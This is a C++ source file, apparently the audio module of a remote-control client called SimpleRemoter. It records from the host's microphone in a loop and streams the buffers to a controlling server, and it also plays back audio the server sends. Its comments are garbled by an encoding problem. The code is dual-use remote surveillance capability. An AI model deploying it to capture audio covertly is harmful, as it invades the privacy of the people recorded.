Files
SimpleRemoter/client/AudioManager.cpp

134 lines
2.7 KiB
C++
Raw Normal View History

// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "AudioManager.h"
#include "Common.h"
#include <Mmsystem.h>
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
printf("new CAudioManager %x\n", this);
m_bIsWorking = FALSE;
m_AudioObject = NULL;
if (Initialize()==FALSE)
{
return;
}
BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL);
}
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
if (1 == ulLength)
NotifyDialogIsOpen();
break;
}
default:
{
m_AudioObject->PlayBuffer(szBuffer, ulLength);
break;
}
}
}
DWORD CAudioManager::WorkThread(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking)
{
2019-01-18 17:37:15 +08:00
if(!This->SendRecordBuffer())
Sleep(50);
}
cout<<"CAudioManager WorkThread end\n";
return 0;
}
2019-01-18 17:37:15 +08:00
BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
2019-01-18 17:37:15 +08:00
BOOL dwReturn = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
if (dwBufferSize > 0)
{
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
}
return dwReturn;
}
CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //<2F><EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
if (m_hWorkThread)
CloseHandle(m_hWorkThread);
if (m_AudioObject!=NULL)
{
delete m_AudioObject;
m_AudioObject = NULL;
}
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
printf("~CAudioManager %x\n", this);
}
//USB
BOOL CAudioManager::Initialize()
{
if (!waveInGetNumDevs()) //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>Ŀ ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return FALSE;
// SYS SYS P
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
if (m_bIsWorking==TRUE)
{
return FALSE;
}
m_AudioObject = new CAudio; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_bIsWorking = TRUE;
return TRUE;
}